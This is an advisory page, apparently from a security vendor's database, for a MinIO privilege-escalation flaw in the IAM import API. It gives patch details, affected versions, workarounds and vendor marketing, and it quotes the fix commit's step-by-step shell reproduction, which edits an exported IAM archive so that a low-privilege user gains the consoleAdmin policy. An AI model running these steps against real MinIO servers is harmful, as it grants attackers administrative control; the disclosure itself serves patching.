GHSA-cwq8-g58r-32hg — minio
Fix: minio/minio#20756GHSA-cwq8-g58r-32hg is a Improper Privilege Management vulnerability in github.com/minio/minio. A fix is available for github.com/minio/minio — see the affected versions and patch details below.
MinIO vulnerable to privilege escalation in IAM import API
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-cwq8-g58r-32hg.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
github.com/minio/minioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f
Patches
commit f246c9053f9603e610d98439799bdd2a6b293427
Author: Aditya Manthramurthy <[email protected]>
Date: Wed Dec 11 18:09:40 2024 -0800
fix: Privilege escalation in IAM import API (#20756)
This API had missing permissions checking, allowing a user to change
their policy mapping by:
1. Craft iam-info.zip file: Update own user permission in
user_mappings.json
2. Upload it via `mc admin cluster iam import nobody iam-info.zip`
Here `nobody` can be a user with pretty much any kind of permission (but
not anonymous) and this ends up working.
Some more detailed steps - start from a fresh setup:
```
./minio server /tmp/d{1...4} &
mc alias set myminio http://localhost:9000 minioadmin minioadmin
mc admin user add myminio nobody nobody123
mc admin policy attach myminio readwrite nobody nobody123
mc alias set nobody http://localhost:9000 nobody nobody123
mc admin cluster iam export myminio
mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x
cd /tmp/x
unzip myminio-iam-info.zip
echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \
iam-assets/user_mappings.json
zip -r myminio-iam-info-updated.zip iam-assets/
mc admin cluster iam import nobody ./myminio-iam-info-updated.zip
mc admin service restart nobody
```
Workarounds
There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.
Behind a load balancer / firewall such as nginx .
location /minio/admin/v2/import-iam {
...
}
location /minio/admin/v3/import-iam-v2 {
...
Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.
References
Refer https://github.com/minio/minio/pull/20756 for more information
Binary Releases
AiStor Containers
quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z
quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips
AiStor Binaries
Architecture: linux/amd64
Architecture: linux/arm64
Architecture: windows/amd64
Community Containers
quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z
quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips
Community Binaries
Architecture: linux/amd64
Architecture: linux/arm64
Architecture: windows/amd64
Credits
Credit goes to National Security Agency for reporting this issue.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/minio/minio | ≥ 0.0.0-20220623162515-580d9db85e04&&< 0.0.0-20241213221912-68b004a48f41 | 0.0.0-20241213221912-68b004a48f41go get github.com/minio/minio@v0.0.0-20241213221912-68b004a48f41 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/minio/minio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/minio/minio to 0.0.0-20241213221912-68b004a48f41 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cwq8-g58r-32hg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-cwq8-g58r-32hg can be triaged on real exposure rather than presence alone.
Tailored to GHSA-cwq8-g58r-32hg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-cwq8-g58r-32hg in your dependencies?
O3 Security finds GHSA-cwq8-g58r-32hg across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.